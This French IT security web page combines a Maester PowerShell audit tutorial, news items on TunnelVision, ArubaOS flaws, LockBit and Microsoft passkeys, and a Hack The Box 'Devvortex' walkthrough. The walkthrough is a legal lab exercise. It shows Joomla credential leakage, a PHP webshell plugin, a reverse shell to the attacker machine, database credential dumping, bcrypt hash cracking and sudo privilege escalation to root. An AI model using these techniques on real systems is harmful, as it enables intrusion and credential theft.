Maester est un projet communautaire créé en avril 2024 par Merill Fernando, chef de produit chez Microsoft et deux MVP Security Fabian Bader et Thomas Naunheim. C’est un outil PowerShell conçu pour vous aider à comprendre la configuration de votre tenant Microsoft 365.
Il vous permet d’avoir une vision de votre configuration par rapport aux bonnes pratiques de sécurité, et ainsi, surveiller la posture de sécurité de votre tenant Microsoft 365. Cet outil fournit un rapport, mais ne réalise aucune action de correction.
À l’heure actuelle, l’outil contient 92 vérifications de sécurité, toutes concentrées sur la partie Microsoft Entra. Ces vérifications proviennent de plusieurs sources :
Maester utilise l'API Microsoft Graph pour accéder aux informations de votre tenant Microsoft 365. Cet outil vérifie la conformité de votre configuration par rapport aux bonnes pratiques de sécurité. L’originalité de cet outil réside dans l’utilisation de Pester pour vérifier cette conformité.
Pester est un module PowerShell conçu pour les tests unitaires. Bien qu’il soit souvent utilisé pour valider des scripts ou des fonctions, son mode de fonctionnement permet à chacun d’écrire ses propres tests unitaires.
Dans le cas de Maester, Pester est employé pour s'assurer que la configuration de votre tenant Microsoft 365 correspond aux critères définis dans des fichiers. Ces fichiers, appelés fichiers detests dans la suite de l’article, permettent de réaliser des vérifications sur la conformité de votre configuration. L’appellation tests provient du fait que Pester suit une nomenclature stricte concernant les fichiers qu’ils utilisent : xxxx.Tests.ps1.
Cela permet ainsi une vérification rigoureuse et continue de la sécurité d’un tenant.
Il est important de comprendre que Maester, utilisant Pester, ne fournit pas de valeurs directes de votre tenant, mais indique plutôt si vos configurations respectent les normes établies dans les fichiers Tests.
Par exemple, au lieu de spécifier le nombre d'administrateurs globaux, Maester vous informera si la configuration est conforme aux bonnes pratiques définies dans les tests. Cette méthode peut représenter une nouvelle approche pour certains qu’il est essentiel de comprendre.
B. Installation
Maester est publié dans la PowerShell Gallery, son installation peut être réalisée en seulement deux Cmdlets :
Sur votre PC, il faut ensuite créer un dossier et installer les fichiers de tests. Dans notre cas, nous installerons les fichiers Tests dans "C:\temp", mais tout autre chemin fonctionnera.
cd c:\temp
mkdir maester-tests
cd maester-tests
Install-MaesterTests .\tests
Les fichiers de tests sont installés dans C:\Temp\maester-tests\tests.
C. Utilisation
Dans un premier temps, il faut se connecter :
Connect-Maester
Comme indiqué plus haut, Maester s’appuie sur Microsoft Graph. Si vous n’avez pas les autorisations requises, il faudra autoriser les autorisations OAuth pour l’application Microsoft Graph Command Line Tools.
Ensuite, vous pouvez exécuter les tests :
Invoke-Maester
À la fin de l'exécution des tests par Maester, un bref résumé est affiché dans la console.
Ce résumé indique les résultats des tests avec le nombre de tests réussis, échoués ou ignorés, fournissant ainsi un aperçu rapide de l'état de la configuration de sécurité de votre tenant Microsoft 365.
Un fichier de rapport HTML est aussi créé, il est stocké dans le dossier "tests-results" et s’ouvre automatiquement dans votre navigateur :
Un élément en "Passed" indique que la configuration de votre tenant respecte le test en question.
Un élément en "Failed" indique que la configuration de votre tenant ne respecte le test. Cependant, selon les contraintes de votre entreprise, il convient de statuer si c’est un réel problème, ou bien un risque accepté.
Pour chaque élément du rapport, vous retrouverez :
L’identifiant
L’URL vers la documentation Maester concernant ce test
Le résultat du test
Les détails du test qui contiennent les actions à réaliser pour passer ce test
Les catégories
Les tags
La source du fichier de test Pester
Pour la majorité des tests, il est évident de comprendre pourquoi un test échoue, comme une fonctionnalité non activée ou un nombre excessif d'utilisateurs non conformes.
Cependant, il peut être plus complexe de déterminer la cause d'un échec dans certains cas, où le problème pourrait ne pas résider dans la non-conformité, mais plutôt dans un bug au sein du code PowerShell du test lui-même. Dans ces situations, il sera nécessaire d'examiner en détail les fichiers "*.Tests.ps1" pour identifier et résoudre l'erreur.
D. Création de ses propres tests
Le gros intérêt de Maester est que ce n’est qu’un framework, c’est-à-dire qu’il peut être étendu pour correspondre à vos besoins avec des tests personnalisé.
Pour créer un test personnalisé dans Maester, vous devez suivre une certaine structure. Par exemple, nous allons créer un test pour vérifier qu'un groupe contient exactement deux membres.
Pour cela, créez un fichier nommé "Test-CustomITConnect.Tests.ps1" dans le répertoire "<chemin>\maester-tests\Custom". Pester recherche les fichiers se terminant par ".Tests.ps1" pour les exécuter comme des tests.
Dans notre cas, nous créons un fichier" Test-CustomITConnect.Tests.ps1" dans "C:\temp\maester-tests".
Pour le contenu du fichier "Test-CustomITConnect.Tests.ps1", nous devons suivre la syntaxe Pester, ce qui donne :
Describe "Test-MyGroupMembership" -Tag "Group" {
It "Check 'MyGroup1' Members" {
$groupID = "cc831d2a-6e92-4988-903c-1799de3a9aa1"
$members = Get-MgGroupMember -GroupId $groupID
# Test if the group has exactly 2 members
$members.Count | Should -BeExactly 2
}
}
Il est alors possible d’exécuter Maester avec uniquement notre test :
cd c:\temp\maester-test
Invoke-Maester .\tests\Custom\
Le rapport contient uniquement notre test personnalisé.
À noter qu’il est aussi possible de simplement exécuter "Invoke-Maester", pour exécuter tous les tests, y compris les tests personnalisés.
E. Exécution régulière
Maester peut être configuré pour surveiller en permanence la configuration de votre tenant à l'aide de service DevOps comme Azure DevOps Pipeline, GitHub Actions et Azure Automation.
Avec ces solutions, il est possible de recevoir un e-mail régulier avec les informations concernant la sécurité du tenant.
Source : maester.dev
La configuration de cette automatisation n’est pas détaillée dans cet article, mais vous pouvez retrouver toutes les informations dans la documentation de Maester.
III. Mise à jour des tests Maester
L'équipe Maester ajoute de nouveaux tests au fil du temps, il faut donc penser à mettre à jour le module et les tests de temps en temps.
Tous les tests personnalisés dans le dossier "/Custom" seront conservés.
Les fichiers de test des autres dossiers, notamment "/EIDSCA", "/Maester" et "/CISA", seront remplacés par les tests les plus récents :
IV. Contribuer à l’amélioration du produit
Maester est une solution récente et se focalise pour le moment uniquement sur les tests Microsoft Entra ID. Cependant, compte tenu de son fonctionnement et de sa flexibilité, il est tout à faire possible de créer ses propres tests et de participer à ce projet communautaire.
Pour approfondir le sujet de l'audit Microsoft 365, vous pouvez consulter cet article :
TunnelVision, c'est le nom de la nouvelle vulnérabilité et technique d'attaque mise au point par des chercheurs en sécurité et qui permet de détourner le trafic des tunnels VPN ! Voici ce qu'il faut savoir !
Lorsqu'un appareil se connecte à un réseau distant via un tunnel VPN, le trafic réseau de la machine passe par ce tunnel chiffré et sécurité. En fonction de la configuration du VPN, tout le trafic pourra passer par le tunnel VPN (full VPN) ou uniquement certains flux (split VPN).
Par ailleurs, le VPN peut être utilisé pour naviguer sur Internet tout en masquant son adresse IP publique : c'est l'une des "fonctions" des VPN grands publics. C'est ce cas d'usage qui est directement affecté par la technique évoquée dans cet article.
Les chercheurs en sécurité de chez Leviathan Security ont mis en ligne un nouveau rapport au sujet d'une technique d'attaque baptisée TunnelVision. D'après eux, cette technique est exploitable depuis 2002 et elle fonctionnerait avec l'ensemble des solutions VPN.
TunnelVision et l'option DHCP 121
Pour exploiter cette vulnérabilité associée à la référence CVE-2024-3661, un attaquant doit mettre en place une configuration bien particulière sur un serveur DHCP. En effet, il doit configurer l'option DHCP n°121 nommée "Classless static route" et dont l'objectif est de distribuer une ou plusieurs routes statiques supplémentaires au client DHCP, en plus de l'adresse IP, de la passerelle, etc.
Ainsi, l'attaquant peut créer ces routes avec une priorité plus élevée que celles définies par la connexion VPN, et ainsi, détourner le trafic VPN vers la passerelle de son choix. À ce sujet, les chercheurs précisent : "TunnelVision est une technique de fuite de VPN sur le réseau local qui permet à un attaquant de lire, d'interrompre et parfois de modifier le trafic VPN à partir d'une cible sur le réseau local." - L'attaquant doit se situer sur le même réseau local que sa victime, et il doit pouvoir modifier la configuration du serveur DHCP (ou utiliser un serveur Rogue DHCP).
Le fait de détourner le trafic ne semble pas empêcher le tunnel VPN d'être actif et cela n'a pas non plus alerté la fonctionnalité de protection "kill switch" intégrée à certains VPN : "Lors de nos tests, le VPN a toujours continué à signaler qu'il était connecté, et le kill switch n'a jamais été enclenché pour interrompre notre connexion VPN.", peut-on lire.
Quels sont les systèmes impactés ? Comment se protéger ?
Windows, Linux, iOS et MacOS sont des systèmes vulnérables à cette attaque. Android, quant à lui, n'est pas concerné. Pourquoi ? Et bien parce que l'option 121 du DHCP n'est pas prise en charge !
"Nous avons observé une mesure d'atténuation de la part de certains fournisseurs de VPN qui éliminent le trafic vers les interfaces non VPN par le biais de règles de pare-feu.", peut-on lire dans le rapport. La création de règles de pare-feu sur l'appareil local est donc une façon de se protéger de cette attaque. De plus, il peut s'avérer utile d'activer certaines protections comme le DHCP Snooping.
Enfin, sachez que TunnelVision ne dépend pas du protocole VPN utilisé, donc il n'y a pas un protocole à prioriser plus qu'un autre (OpenVPN, IPsec, WireGuard, etc.). Pour approfondir le sujet, vous pouvez consulter cette page sur GitHub.
Proton Pass marche dans les pas de ses rivaux en ajoutant une option qui permet de connaitre l'état de ses mots de passe. Ils sont trop faibles ? Trop réutilisés ? Exposés sur Internet ? Privés de double authentification ? Vous connaitrez ainsi vos marges de progression pour faire mieux.
Vous utilisez des équipements réseau de chez HPE Aruba Networking ? Alors, vous devriez lire cet article avec attention : plusieurs failles de sécurité critiques ont été corrigées dans le système ArubaOS. Voici ce qu'il faut savoir.
Très populaires en entreprise, les équipements HPE Aruba Networking sont affectés par plusieurs failles de sécurité. L'éditeur a corrigé 10 vulnérabilités dans le système ArubaOS, dont 4 failles de sécurité critiques qui méritent une attention particulière. En exploitant ces vulnérabilités, un attaquant pourrait exécuter du code à distance en tant qu'utilisateur privilégié sur l'équipement vulnérable.
Voici la liste des vulnérabilités critiques, toutes associées à un score CVSS de 9.8 sur 10.
CVE-2024-26305
CVE-2024-26304
CVE-2024-33511
CVE-2024-33512
Il s'agit de faiblesses de type "Buffer overflow" exploitables par l'intermédiaire du protocole PAPI. Ceci implique que l'attaquant puisse communiquer avec l'attaquant sur le port 8211 en UDP afin d'envoyer une requête spéciale sur l'interface PAPI (Performance Application Programming Interface).
Aruba : quels sont les produits et versions affectés ?
Aruba Central pour gérer les passerelles WLAN et les passerelles SD-WAN
Les versions suivantes d'ArubaOS sont vulnérables :
ArubaOS 10.5.x.x : 10.5.1.0 et antérieure
ArubaOS 10.4.x.x : 10.4.1.0 et antérieure
ArubaOS 8.11.x.x : 8.11.2.1 et antérieure
ArubaOS 8.10.x.x : 8.10.0.10 et antérieure
Il est également précisé que certaines versions vulnérables ne sont plus prises en charge et qu'elles ne recevront pas de mises à jour de sécurité. Voici la liste des versions en question :
ArubaOS 10.3.x.x
ArubaOS 8.9.x.x
ArubaOS 8.8.x.x
ArubaOS 8.7.x.x
ArubaOS 8.6.x.x
ArubaOS 6.5.4.x
SD-WAN 8.7.0.0-2.3.0.x
SD-WAN 8.6.0.4-2.2.x.x
Comment se protéger ?
Pour se protéger de ces vulnérabilités, le système ArubaOS doit être mis à jour vers une version qui contient les correctifs de sécurité. Voici les versions à installer pour vous protéger :
ArubaOS 10.6.x.x : 10.6.0.0 et supérieur
ArubaOS 10.5.x.x : 10.5.1.1 et supérieur
ArubaOS 10.4.x.x : 10.4.1.1 et supérieur
ArubaOS 8.11.x.x : 8.11.2.2 et supérieur
ArubaOS 8.10.x.x : 8.10.0.11 et supérieur
Sur ArubaOS 8.X, il existe une solution alternative autre que le patch de sécurité. Elle consiste à configurer la fonction de sécurité "Enhanced PAPI" pour ne pas utiliser la clé par défaut.
Pour le moment, rien n'indique que ces vulnérabilités soient exploitées dans le cadre de cyberattaques.
Proton Pass marche dans les pas de ses rivaux en ajoutant une option qui permet de connaitre l'état de ses mots de passe. Ils sont trop faibles ? Trop réutilisés ? Exposés sur Internet ? Privés de double authentification ? Vous connaitrez ainsi vos marges de progression pour faire mieux.
Il y a un véritable match entre les autorités et les cybercriminels de LockBit ! Alors le groupe de ransomware a relancé ses activités malveillantes ces dernières semaines, leur site a été remis en ligne avec un message intrigant par les membres de l'opération Cronos ! Faisons le point.
Publication des données de l'Hôpital Simone Veil de Cannes
Ce leak contient 61 Go de données, dont des informations sensibles et personnelles, des cartes d'identité, des RIB et des bulletins de salaire. La direction de l'Hôpital Simone Veil a confirmé qu'il s'agissait bien des données du centre.
La suite de l'opération Cronos
Mais, ces dernières heures, il y a eu un nouveau rebondissement dans l’affaire Lockbit : la suite de l'opération Cronos. Souvenez-vous, en février dernier, une opération internationale, surnommée Opération Cronos, a été menée par les forces de l'ordre et organismes de 11 pays. D'ailleurs, la France a participé par l'intermédiaire de la Gendarmerie Nationale, tandis qu'il y a également eu une participation du FBI, l'Allemagne, le Japon, la Suède, le Canada, ou encore la Suisse.
Les autorités étaient parvenues à mettre à l'arrêt un total de 34 serveurs de LockBit et récupérer des données cruciales. Ceci avait permis la création d'un outil de déchiffrement pour permettre aux victimes de récupérer leurs données sans payer la rançon.
Le site vitrine de LockBit avait été remplacé par une page mise en ligne par les forces de l'ordre suite à cette opération. Depuis quelques heures, cette page est de retour, ce qui pourrait correspondre à la suite de l'opération Cronos.
Source : cybernews.com
Les autorités ont repris le principe du compte à rebours utilisé par les pirates pour indiquer que le 7 mai 2024 à 14:00 UTC, ils dévoileront l'identité du chef LockBitSupps et des autres membres de LockBit. Autrement dit, nous aurions enfin la réponse à cette question à 10 millions de dollars : qui se cache derrière le pseudo LockBitSupps ?
Pour le moment, tout cela est à prendre avec précautions puisque les forces de l'ordre n'ont pas communiqué sur le sujet. Les prochaines heures nous permettront surement d'en savoir plus... Peut-être d'ailleurs par l'intermédiaire du compte VX-underground sur X. D'après ce compte, un membre de LockBit a indiqué que tout cela était des mensonges... Les autorités ont-elles de nouvelles informations ou cherchent-elles à déstabiliser le groupe LockBit en lui mettant la pression ? À suivre...
Les passkeys, ou clés d'accès, sont désormais prises en charge par Microsoft pour s'authentifier à son compte personnel Microsoft. De plus, la prise en charge des passkeys a été introduite au service de gestion des identités Entra ID. Faisons le point.
Au fil des mois, de plus en plus d'éditeurs et services ajoutent la prise en charge des passkeys pour l'authentification à son compte. Nous pouvons citer Google, Amazon, Apple, Proton, ou encore WhatsApp. Microsoft était déjà sur le coup, et à l'occasion de la Journée mondiale des mots de passe, l'entreprise américaine a annoncé avoir étendu la prise en charge des passkeys.
De quoi mettre de côté le traditionnel mot de passe associé à l'authentification multifacteur. Cette méthode d'authentification dite "passwordless" s'appuie sur des clés générées en local sur l'appareil. Ensuite, l'authentification s'effectue à l'aide d'un code PIN, d'une clé matérielle, du capteur d'empreinte biométrique ou de la reconnaissance faciale.
Une fois configurée sur votre compte Microsoft, cette méthode d'authentification pourra être utilisée pour vous connecter aux différents services de Microsoft, dont Outlook, OneDrive, Xbox Live, ou encore Copilot. Précédemment, la firme de Redmond avait ajouté la prise en charge des passkeys à son système d'exploitation Windows 11, afin que cela puisse être utilisé sur les sites web et services qui le prennent en charge.
Comment configurer une passkey sur son compte Microsoft ?
Une fois que c'est en place, vous pouvez vous authentifier grâce à cette nouvelle d'authentification comme le montre les images ci-dessous :
Source : Microsoft
En principe, une clé d'accès devrait être créée sur un appareil et ne pas être partagée d'un appareil à un autre, mais Microsoft propose la synchronisation des passkeys pour le côté pratique : "Les passkeys peuvent également être synchronisés entre vos appareils. Ainsi, si vous perdez ou mettez à jour votre appareil, vos passkeys seront prêts et vous attendront lorsque vous configurerez votre nouvel appareil.", précise Microsoft.
Par ailleurs, la documentation de Microsoft précise que les systèmes suivants sont pris en charge :
Windows 10 et versions ultérieures.
macOS Ventura et versions ultérieures.
ChromeOS 109 et versions ultérieures.
iOS 16 et versions ultérieures.
Android 9 et versions ultérieures.
Il est également précisé que les clés de sécurité matérielles qui prennent en charge le protocole FIDO2 sont supportées.
La prise en charge des passkeys dans Microsoft Entra ID
Pour les utilisateurs professionnels, Microsoft a ajouté la prise en charge des passkeys à son service Entra ID (Azure AD) en s'appuyant sur son application Microsoft Authenticator, disponible sur Android et iOS. Là encore, Microsoft propose d'utiliser des passkeys synchronisées ou liées à l'appareil.
Je vous propose dans cet article la résolution de la machine Hack The Box Devvortex de difficulté "Facile". Cette box est accessible via cette page.
Hack The Box est une plateforme en ligne qui met à disposition des systèmes vulnérables appelées "box". Chaque système est différent et doit être attaqué en adoptant la démarche d'un cyberattaquant. L'objectif est d'y découvrir les vulnérabilités qui nous permettront de compromettre les utilisateurs du système, puis le compte root ou administrateur.
Ces exercices permettent de s’entraîner légalement sur des environnements technologiques divers (Linux, Windows, Active directory, web, etc.), peuvent être utiles pour tous ceux qui travaillent dans la cybersécurité (attaquants comme défenseurs) et sont très formateurs
Je vais ici vous détailler la marche à suivre pour arriver au bout de cette box en vous donnant autant de conseils et ressources que possible. N'hésitez pas à consulter les nombreux liens qui sont présents dans l'article.
Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque la box en question sera indiquée comme "Retired".
Pour l'instant, nous ne disposons que de l'adresse IP (10.10.11.242) de notre cible, commençons par un scan réseau à l'aide de l'outil nmap pour découvrir les services exposés sur le réseau, et pourquoi pas leurs versions.
$ nmap --max-retries 1 -T4 -sS -A -v --open -p- -oA nmap-TCPFullVersion 10.10.11.242
Nmap scan report for 10.10.11.242
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://devvortex.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Seuls deux services sont exposés sur le réseau. Nous pouvons également remarquer que l'outil nmap a été interroger le service web et que celui-ci lui a renvoyé une redirection vers http://devvortex.htb/. La commande suivante permet de l'ajouter à notre fichier /etc/hosts pour que notre système puisse le retrouver :
$ echo "10.10.11.242 devvortex.htb" |sudo tee -a /etc/hosts
Il s'agit d'un vhost (voir cet article : Les vHosts sous Apache2). Peut-être le service web en contient-il d'autres, mais comment le savoir ? Ceux-ci ne sont affichés ou indexés nulle part pour le moment. J'utilise donc une technique qui va me permettre d'énumérer les vhosts potentiels à l'aide d'un dictionnaire de mot :
La liste de mot (wordlist) utilisée ici est celle de la ressource SecLists, de Daniel Miessler. J'ai ajouté sur mon système une variable "s" qui contient le chemin d'accès vers ces listes (/usr/share/seclists) pour gagner en efficacité.
Via cette énumération de vhost, l'outil ffuf que j'utilise va effectuer des requêtes en changeant à chaque essai le sous domaine dans la requête suivante, mais en interrogeant toujours la même IP, le même service web :
GET / HTTP/1.1
host: FUZZ.devvortex.htb
En identifiant des variations dans la taille de la réponse, les codes de réponse HTTP ou le nombre de lignes/mots dans la réponse, nous pourrons identifier de nouveaux vhosts existants, car 99% des requêtes obtiendront la même réponse d'erreur, sauf pour les vhost existants. Ici, ffuf nous permet d'identifier le vhost dev.devvortex.htb. Que l'on rajoute également à notre fichier /etc/host :
echo "10.10.11.242 dev.devvortex.htb" |sudo tee -a /etc/hosts
Cela peut paraître contre-intuitif de s'intéresser à l'énumération de vhost plutôt que directement aller se renseigner sur ce que fait l'application web principale qui pourrait elle-même contenir des vulnérabilités. Néanmoins, foncer tête baissée sur la première brèche potentielle ou service croisé est un piège qu'il faut savoir éviter. Respecter une méthodologie est très important, notamment lors des phases d'énumération, afin de ne se fermer aucune porte et d'avoir encore de la matière à travailler lorsque nos premières attaques ne sont pas fructueuses.
Soyez sûr d'avoir toutes les cartes (informations) en main avant d'attaquer.
B. Exploitation d'un Joomla non à jour
Voyons à quoi ressemble ce site web en développement :
Il s'agit visiblement d'un site vitrine, dont l’apparence est plutôt commune. L'utilisation d'un CMS (Content Management System) comme WordPress, Joomla ou Drupal est très probable. Nous pouvons valider la présence de ces CMS par la présence de dossiers ou fichiers qui les caractérisent. Par exemple, le contenu du fichier robots.txt :
$ curl http://dev.devvortex.htb/robots.txt
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
# eg the Disallow rule for the /administrator/ folder MUST
# be changed to read
# Disallow: /joomla/administrator/
#
# For more information about the robots.txt standard, see:
# https://www.robotstxt.org/orig.html
User-agent: *
Disallow: /administrator/
Disallow: /api/
[...]
Pas de doute, il s'agit bien d'un CMS Joomla. En parallèle du déroulement de ma méthodologie propre à Joomla, je lance l'outil nuclei :
Nuclei est un scanner de vulnérabilité web open source très intéressant. Il se compose de nombreux modules créés par la communauté. Chaque module est propre à une fuite d'information, une CVE ou une mauvaise configuration précise. La détection se porte notamment sur la détection de mots-clés dans une réponse ou la présence d'un fichier caractéristique d'une CVE/défaut de configuration.
C'est un outil intéressant à lancer en parallèle des opérations manuelles puisqu'il peut vérifier un grand nombre de choses en peu de temps, même les plus improbables.
Manuellement, je récupère la version de Joomla, là aussi grâce à des fichiers qui contiennent classiquement cette information :
$ curl -s http://dev.devvortex.htb/administrator/manifests/files/joomla.xml | xmllint --format -
<?xml version="1.0" encoding="UTF-8"?>
<extension type="file" method="upgrade">
<name>files_joomla</name>
<author>Joomla! Project</author>
<authorEmail>[email protected]</authorEmail>
<authorUrl>www.joomla.org</authorUrl>
<copyright>(C) 2019 Open Source Matters, Inc.</copyright>
<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
<version>4.2.6</version>
<creationDate>2022-12</creationDate>
La CVE impacte la version 4.2.8 (et probablement les précédentes) et notre version de Joomla est la 4.2.6, voilà qui est intéressant. Il s'agit d'une fuite d'information sans authentification. Si l'on regarde de plus près les résultats de nuclei, il a également remonté cette information (CVE) et nous indique le lien d'accès à la fuite d'information :
Un login et un mot de passe ! Mon premier réflexe est de les essayer sur l'accès SSH, mais ils donnent en fait accès au panel d'administration du Joomla :
L'administrateur du CMS peut naturellement tout faire, même rajouter un plugin qui lui donnera accès à un webshell PHP. Il en existe des prêts à l'emploi sur GitHub : https://github.com/p0dalirius/Joomla-webshell-plugin
Attention, dans un contexte réel de test d'intrusion (au sens prestation de service), évitez d'utiliser des codes tout fait trouvés sur Internet pour ce genre d'opération. Vous n'êtes pas à l'abri d'un malin qui en profiterait pour utiliser cet accès comme une backdoor pour lui-même, ou qui aurait injecté un code destructeur pour le système cible. Vous devez maîtriser les outils utilisés (faire une revue de code avant utilisation, ou faire votre propre plugin).
Je rajoute donc ce plugin, qui me donne accès à un webshell en PHP :
Vous devez vous interroger sur la deuxième commande. Il s'agit en fait d'une commande encodée en base64. Je génère une commande qui l'affiche avec echo, puis qui la décode et enfin qui exécute le résultat obtenu. Cela me permet d'injecter du code "complexe" sans me soucier des quotes, espaces et autres caractères spéciaux. La commande originale (décodée) est la suivante :
Cette commande crée un pipe et établie une connexion réseau vers l'adresse IP 10.10.16.21 sur le port 9001 (ma machine d'attaque), puis redirige un shell interactif vers cette connexion, permettant un accès distant au système.
L'utilisation de l'encodage base64 est une technique très commune et tellement connue que bon nombre de produits de sécurité considèrent maintenant l'utilisation de la commande base64 comme suspecte, ce qui entraîne des alertes de sécurité.
Après avoir mis un netcat en écoute sur le port 9001 de ma machine, je me retrouve donc avec un accès en tant que www-data sur le serveur :
$ nc -lvp 9001
listening on [any] 9001 ...
connect to [10.10.16.21] from devvortex.htb [10.10.11.242] 49096
sh: 0: can't access tty; job control turned off
$ whoami
www-data
D. Vol des identifiants de l'utilisateur logan
Maintenant que nous avons une première main sur le système, intéressons-nous aux processus et services exécutés. J'utilise la commande netstat pour récupérer les services qui ont un port en écoute :
$ netstat -petulan |grep "LISTEN"
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 0 23392 883/nginx: worker p
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN 101 22905 -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 0 24155 -
tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN 114 25609 -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN 114 25611 -
tcp6 0 0 :::80 :::* LISTEN 0 23393 883/nginx: worker p
tcp6 0 0 :::22 :::* LISTEN 0 24166 -
Nous voyons, en plus de services que nous connaissons déjà, un service MySQL. Nous avons auparavant récupéré des identifiants que nous pouvons tester sur ce service. Par exemple, pour lister les données de la table "users" du CMS Joomla :
$ mysql -u lewis -p"P4ntherg0t1n5r3c0n##" -e "use joomla; select * from sd4fg_users"
mysql: [Warning] Using a password on the command line interface can be insecure.
id name username email password block sendEmail registerDate lastvisitDate activation params lastResetTime resetCount otpKey otep requireReset authProvider
649 lewis lewis [email protected] $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u 0 1 2023-09-25 16:44:24 2023-11-26 10:34:39 0 NULL 0 0
650 logan paul logan [email protected] $2y$10$IT4k5kmSGvHSO9d6M/1w0eYiB5Ne9XzArQRFJTGThNiy/yBtkIj12 0 0 2023-09-26 19:15:42 NULL {"admin_style":"","admin_language":"","language":"","editor":"","timezone":"","a11y_mono":"0","a11y_contrast":"0","a11y_highlight":"0","a11y_font":"0"} NULL 0 0
Nous étions passés à côté de cette information lorsque nous avons eu accès au panel d'administration Joomla, un second utilisateur est présent et nous venons de récupérer le hash de son mot de passe.
Le code d'identification d'un hash, tel que le $2y$, est généralement utilisé pour indiquer l'algorithme de hachage et la version utilisés pour générer l'empreinte. Ici, $2y$ indique que l'empreinte a été générée à l'aide de l'algorithme bcrypt. Il n'est cependant pas obligatoire pour tous les algorithmes.
$ john --wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt /tmp/x
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
tequieromucho (?)
1g 0:00:00:05 DONE (2023-11-26 21:55) 0.1834g/s 257.6p/s 257.6c/s 257.6C/s dianita..harry
Use the "--show" option to display all of the cracked passwords reliably
Vous noterez que John The Ripper possède lui aussi sa propre méthode de reconnaissance des hash puisqu'il a deviné tout seul qu'il s'agissait de bcrypt. J'utilise également la wordlist "rockyou.txt" comme dictionnaire pour casser ce mot de passe.
Le fichier "rockyou.txt" est un dictionnaire de mots de passe qui a gagné en notoriété en raison de sa taille et de son utilisation fréquente dans les challenges cybersécurité. Son nom vient du fait qu'il a été créé à partir de données compromises de RockYou. En 2009, cette entreprise a subi une fuite d'information où des millions de mots de passe d'utilisateurs ont été compromis. Les données ont ensuite été rendues publiques sur Internet, et le fichier "rockyou.txt" a été créé en utilisant ces informations.
Il contient 14 344 391 mots de passe couramment utilisés, souvent faibles en complexité.
Nous avons donc le mot de passe de l'utilisateur "logan" sur le CMS Joomla, utilise-t-il également ce mot de passe pour son accès SSH ?
La réponse et oui, sans surprise l'utilisateur réutilise le même mot de passe entre plusieurs services. Nous voilà avec le premier flag et un accès utilisateur au système.
E. Élévation de privilèges via apport-cli et sudo
Quels pourraient être les privilèges et accès spéciaux de l'utilisateur logan ? Je remarque qu'il possède une dérogation d'utilisation de la commande /usr/bin/apport-cli en tant que root via sudo :
logan@devvortex:~$ sudo -l
[sudo] password for logan:
Matching Defaults entries for logan on devvortex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User logan may run the following commands on devvortex:
(ALL : ALL) /usr/bin/apport-cli
Je ne connais pas du tout cette commande, regardons son aide avec l'option --help:
logan@devvortex:~$ /usr/bin/apport-cli --help
Usage: apport-cli [options] [symptom|pid|package|program path|.apport/.crash file]
Options:
-h, --help show this help message and exit
-f, --file-bug Start in bug filing mode. Requires --package and an
optional --pid, or just a --pid. If neither is given,
display a list of known symptoms. (Implied if a single
argument is given.)
[...]
-v, --version Print the Apport version number.
logan@devvortex:~$ /usr/bin/apport-cli -v
2.20.11
La lecture de l'aide de la commande (tronquée ci-dessus) ainsi que quelques recherches nous font comprendre qu'elle permet de remplir des tickets de bug à destination des développeurs. Elle dispose notamment d'un mode interactif à l'aide de l'option "-f". Nous pouvons également identifier sa version exacte avec l'option "-v". Je découvre que la CVE-2023-1326 (score CVSS3 : 7.8) affecte cette version :
Visiblement, apport-cli utilise less, une commande qui parait simple et inoffensive, mais qui est en réalité dangereuse lorsque utilisée avec sudo. Less dispose, en effet, d'une fonctionnalité d'exécution de commande :
Ressource : https://gtfobins.github.io/ est une excellente ressource à connaitre. Ce site liste les exploitations possibles des binaires connus sous Linux. C'est très utiles pour savoir quelles sont les fonctionnalités "cachées" et dangereuses d'un binaire exécuté via sudo ou un bit setuid (lire/ écrire dans un fichier privilégié ou pour exécuter des commandes). Ce site peut être utile également aux blue teams pour savoir si les binaires utilisés ou présents sur un système présentent un risque.
Le binaire apport-cli est donc exécuté en tant que root via sudo et utilise less, qui présente des exploitations possibles pour exécuter des commandes, voilà qui nous intéresse. La première étape consiste donc à lancer apport-cli via sudo, qui nous demande le mot de passe de logan. Ensuite, on utilise le mode interactif de apport-cli (-f) et un mode "view report" (-v) nous est proposé, c'est certainement à ce moment-là que less intervient :
Et nous voilà avec les droits root sur le système ! L'attaquant peut alors en faire ce qu'il veut, récupérer toutes les données et les identifiants qui y trainent, installer un keylogger ou l'utiliser comme rebond vers le SI interne, après tout, il est root !
III. Résumé de l'attaque
Voici une description de l'attaque réalisée en utilisant les TTP (Tactics, Techniques and Procedures) du framework MITRE ATT&CK :
Exploitation de l'utilisation cachée de less par le binaire apport-cli via sudo
IV. Notions abordées
A. Côté attaquant
L'énumération de vhost peut apparaitre comme une étape secondaire, mais elle doit faire partie de votre méthodologie d'énumération. Il est aujourd'hui rare de croiser un service Apache ne faisant tourner qu'un seul site. L'énumération de vhost peut notamment permettre de trouver des applications web non référencées comme celles en développement.
